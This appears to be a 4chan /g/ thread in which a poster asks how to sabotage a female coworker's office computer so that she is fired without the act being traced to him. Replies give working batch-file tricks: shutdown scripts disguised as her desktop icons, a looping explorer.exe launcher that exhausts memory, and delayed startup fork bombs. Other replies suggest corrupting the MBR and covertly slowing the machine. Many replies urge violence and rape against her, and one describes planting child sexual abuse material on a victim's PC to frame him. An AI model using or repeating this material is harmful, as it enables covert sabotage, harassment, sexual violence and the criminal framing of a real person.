/g/ I have come to you in a time of need. I work in a office

magnets to hdd

>>55916445

Forgot about this.

Extra info, she has a hp all in one touchscreen

Just pee on it.

>>55916534

Nah, she might get fired if the information in her pc gets deleted

>>55916594
Then steal the hard drives, nerd.

install gentoo

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>>55916630

She has this abomination

>>55916724
steal
the
hard
drives

>>55916758

I don't even know how to open that shit

mess the MBR

install grub

bonus points for gentoo

>>55916424
Put one of the viruses from fosshub that deletes the MBR

forkbomb that bitch

Create one bat file for each icon on her desktop
@echo off
Shutdown -f -s
On each of them, change icon picture and name to match the ones on her desktop.
Then steal her hard drive

piss on it

Hit her with a brick in the back of her head and rape her

>>55917143

Haha

>>55916904

l ike this but need something that doesn't give away it was me, something like this >>55917139

Stab her with a knife and rape her husband

>>55917254

And pee on him

Hit her with a bullet and rape her dog

Hit her with a car and rape her mother

Point everything to a batch file
@echo off
:1
Explorer.exe (or chrome.exe, you may have to point to the directory)
Goto 1
This will make that Explorer window or whatever open repeatedly with no real way of canceling it as the windows overlap anything else, will continue until the machine runs out of memory and starts leaking it.

Hit her with John Cena and rape her house

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set her desktop wallpaper to this

Hit her with a Nokia and rape her broccoli

Hit her with her with a divorce paper and rape her bank account

Hide a spoonful of yogurt or sourcream somewhere she won't find it.

Hit her with your dick and rape her fingerbox

>>55917399

Im not Brendan Frasier's exwife

>>55916923
Yes OP please do this, it's malicious enough to fuck with her without completely destroying all of her data

>>55916923

I will post proofs as soon as I can

>>55917796
Set a forkbomb to run on startup starting weeks from now. Dead simple, look it up.

>>55916424
Remain professional, even when others don't.

>>55917205
Or this.

>>55916594
lol fucking pussy white knight

On your last day release 4 pigs in your workplace with the numbers 1, 2 and 4 painted on them, it usually takes a crane to get it out

>>55919904

What I meant is is want her fired

>>55916424

Creating a bat file with 'shutdown -s -t 1' and putting it in startup, or a fork bomb that activates 45 mins after the pc is started should work.

Install fiddler. It installs a proxy in the background that stays active when the program itself isn't running and greatly slows down the internet.

Install Softperfect RamDisk and set it to use most of his available ram. If you create and uninstall the RamDisk a few times the program usually won't free the ram until it's uninstalled and the system won't report anything.

If he plays an online mmo, set your router to block the login server.

Download a significant amount of cp from tor, put it on his pc in system 32 in a folder called driverstore_amdx86 so that he can't easily find it and then send an email with some cp from his email account on his pc to someone that has a name that sounds like or could be confused with someone he knows.

>>55917278
And steal her hard drive